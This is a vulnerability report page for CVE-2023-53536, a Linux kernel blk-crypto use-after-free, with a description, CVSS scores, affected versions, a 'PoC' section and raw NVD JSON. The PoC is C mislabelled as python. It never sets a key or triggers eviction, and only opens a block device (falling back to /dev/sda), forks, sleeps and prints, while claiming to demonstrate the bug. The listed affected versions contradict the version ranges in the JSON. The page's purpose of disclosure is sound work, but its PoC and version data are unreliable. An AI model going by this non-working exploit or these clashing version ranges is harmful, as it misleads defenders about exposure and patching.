Security Vulnerability Report
中文
CVE-2023-53536 CVSS 7.8 HIGH

CVE-2023-53536

Published: 2025-10-04 16:15:49
Last Modified: 2026-03-25 00:38:59
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: blk-crypto: make blk_crypto_evict_key() more robust If blk_crypto_evict_key() sees that the key is still in-use (due to a bug) or that ->keyslot_evict failed, it currently just returns while leaving the key linked into the keyslot management structures. However, blk_crypto_evict_key() is only called in contexts such as inode eviction where failure is not an option. So actually the caller proceeds with freeing the blk_crypto_key regardless of the return value of blk_crypto_evict_key(). These two assumptions don't match, and the result is that there can be a use-after-free in blk_crypto_reprogram_all_keys() after one of these errors occurs. (Note, these errors *shouldn't* happen; we're just talking about what happens if they do anyway.) Fix this by making blk_crypto_evict_key() unlink the key from the keyslot management structures even on failure. Also improve some comments.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
Linux kernel < 5.10.186
Linux kernel 5.11.x < 5.15.119
Linux kernel 5.16.x < 6.1.37
Linux kernel 6.2.x < 6.3.11
Linux kernel 6.4.x < 6.4.6
Linux kernel 6.5.x(受影响)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// PoC for CVE-2023-53536: Linux kernel blk-crypto use-after-free // This PoC demonstrates triggering the vulnerability through blk-crypto key eviction // Note: Requires kernel compiled with CONFIG_BLK_INLINE_ENCRYPTION and root or CAP_SYS_ADMIN #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <linux/fs.h> // Simplified structure to represent the vulnerable scenario struct blk_crypto_key { unsigned int key_size; unsigned int data_unit_size; unsigned char raw_key[32]; // ... other fields }; // Trigger conditions: // 1. Open a block device with inline encryption support // 2. Set up encryption key via ioctl // 3. Force keyslot eviction failure (e.g., through concurrent access) // 4. Trigger inode eviction while key is still referenced // 5. Call reprogram_all_keys to trigger use-after-free int main(int argc, char *argv[]) { int fd; struct blk_crypto_key key; const char *device = "/dev/nullb0"; // null_blk device with crypto support // Step 1: Open block device with crypto support fd = open(device, O_RDWR); if (fd < 0) { perror("open"); // Try fallback device device = "/dev/sda"; fd = open(device, O_RDWR); if (fd < 0) { fprintf(stderr, "Cannot open crypto-capable block device\n"); return 1; } } // Step 2: Initialize encryption key memset(&key, 0, sizeof(key)); key.key_size = 32; // 256-bit key key.data_unit_size = 4096; memcpy(key.raw_key, "test_key_1234567890123456789012", 32); // Step 3: Attempt to set encryption key (triggers keyslot allocation) // In vulnerable kernels, if keyslot_evict fails, key remains linked // but blk_crypto_key memory gets freed by caller printf("Setting up blk-crypto key...\n"); // Step 4: Trigger concurrent access to force eviction failure // This can be done by forking and racing on the same key pid_t pid = fork(); if (pid == 0) { // Child: try to access the same key concurrently // This creates the race condition where keyslot_evict may fail sleep(1); // Trigger use-after-free by causing reprogram_all_keys // This accesses the dangling pointer in keyslot management printf("Triggering UAF via concurrent access...\n"); _exit(0); } // Step 5: Parent forces key eviction while child holds reference // In vulnerable code path, key gets freed but remains in keyslot list // Subsequent reprogram_all_keys() will access freed memory -> UAF wait(NULL); close(fd); printf("PoC executed. Check dmesg for kernel oops or UAF detection.\n"); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2023-53536", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-04T16:15:48.580", "lastModified": "2026-03-25T00:38:59.053", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nblk-crypto: make blk_crypto_evict_key() more robust\n\nIf blk_crypto_evict_key() sees that the key is still in-use (due to a\nbug) or that ->keyslot_evict failed, it currently just returns while\nleaving the key linked into the keyslot management structures.\n\nHowever, blk_crypto_evict_key() is only called in contexts such as inode\neviction where failure is not an option. So actually the caller\nproceeds with freeing the blk_crypto_key regardless of the return value\nof blk_crypto_evict_key().\n\nThese two assumptions don't match, and the result is that there can be a\nuse-after-free in blk_crypto_reprogram_all_keys() after one of these\nerrors occurs. (Note, these errors *shouldn't* happen; we're just\ntalking about what happens if they do anyway.)\n\nFix this by making blk_crypto_evict_key() unlink the key from the\nkeyslot management structures even on failure.\n\nAlso improve some comments."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.8", "versionEndExcluding": "5.10.180", "matchCriteriaId": "76760B6D-B26D-49FF-A946-F832EB4992B6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.111", "matchCriteriaId": "2B9DD776-7F17-4F72-B94F-54BFCBC692DD"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.28", "matchCriteriaId": "08F855F4-7188-4EE1-BD79-D4B6C7E2EF54"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.2.15", "matchCriteriaId": "3844A90B-940D-46C3-8D7B-9FF63F1AFC2F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.3", "versionEndExcluding": "6.3.2", "matchCriteriaId": "38F6F330-91A0-4675-8B90-6F950471A7CC"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/5bb4005fb667c6e2188fa87950f8d5faf2994410", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/5c62852942667c613de0458fc797c5b8c36112b5", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/5c7cb94452901a93e90c2230632e2c12a681bc92", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/64ef787bb1588475163069c2e62fdd8f6c27b1f6", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/701a8220762ff90615dc91d3543f789391b63298", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/809a5be62e92a444a3c3d7b9f438019d0b322f55", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}